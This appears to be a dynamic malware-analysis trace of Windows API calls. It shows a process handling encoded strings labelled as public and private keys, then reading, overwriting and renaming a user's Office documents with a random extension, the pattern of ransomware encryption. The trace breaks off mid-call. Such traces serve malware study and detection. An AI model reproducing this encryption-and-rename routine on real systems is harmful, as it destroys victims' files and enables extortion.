lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.119] GetCurrentThreadId () returned 0xa30 [0088.119] GetCurrentThreadId () returned 0xa30 [0088.119] GetCurrentThreadId () returned 0xa30 [0088.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wyn1v_bomehhdpabs.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.119] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.120] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.120] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x10d09 [0088.120] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.120] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x10d09, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x10d09, lpOverlapped=0x0) returned 1 [0088.123] CloseHandle (hObject=0x124) returned 1 [0088.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wyn1v_bomehhdpabs.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.128] WriteFile (in: hFile=0x124, lpBuffer=0x1f02040*, nNumberOfBytesToWrite=0x10d09, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f02040*, lpNumberOfBytesWritten=0x18f978*=0x10d09, lpOverlapped=0x0) returned 1 [0088.132] CloseHandle (hObject=0x124) returned 1 [0088.135] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wyn1v_bomehhdpabs.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2wyN1v_bomEHhDPaBS.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wyn1v_bomehhdpabs.pptx.zv7un")) returned 1 [0088.136] GetCurrentThreadId () returned 0xa30 [0088.136] GetCurrentThreadId () returned 0xa30 [0088.136] GetCurrentThreadId () returned 0xa30 [0088.136] GetCurrentThreadId () returned 0xa30 [0088.136] GetCurrentThreadId () returned 0xa30 [0088.136] GetCurrentThreadId () returned 0xa30 [0088.136] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73bd6990, ftCreationTime.dwHighDateTime=0x1d560e8, ftLastAccessTime.dwLowDateTime=0xae1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5a3aa, ftLastWriteTime.dwLowDateTime=0xae1a3aa0, ftLastWriteTime.dwHighDateTime=0x1d5a3aa, nFileSizeHigh=0x0, nFileSizeLow=0x14f58, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="5lN31fAPZCnHRtzpRQ.xlsx", cAlternateFileName="5LN31F~1.XLS")) returned 1 [0088.136] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.136] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ln31fapzcnhrtzprq.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73bd6990, ftCreationTime.dwHighDateTime=0x1d560e8, ftLastAccessTime.dwLowDateTime=0xae1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5a3aa, ftLastWriteTime.dwLowDateTime=0xae1a3aa0, ftLastWriteTime.dwHighDateTime=0x1d5a3aa, nFileSizeHigh=0x0, nFileSizeLow=0x14f58)) returned 1 [0088.136] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ln31fapzcnhrtzprq.xlsx")) returned 0x20 [0088.136] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx", dwFileAttributes=0x80) returned 1 [0088.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0088.140] GetCurrentThreadId () returned 0xa30 [0088.140] GetCurrentThreadId () returned 0xa30 [0088.140] GetCurrentThreadId () returned 0xa30 [0088.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.141] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.141] GetCurrentThreadId () returned 0xa30 [0088.141] GetCurrentThreadId () returned 0xa30 [0088.141] GetCurrentThreadId () returned 0xa30 [0088.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ln31fapzcnhrtzprq.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.141] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.141] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.142] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14f58 [0088.142] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.142] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x14f58, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x14f58, lpOverlapped=0x0) returned 1 [0088.145] CloseHandle (hObject=0x124) returned 1 [0088.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lN31fAPZCnHRtzpRQ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ln31fapzcnhrtzprq.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.149] WriteFile (in: hFile=0x124, lpBuffer=0x1f06040*, 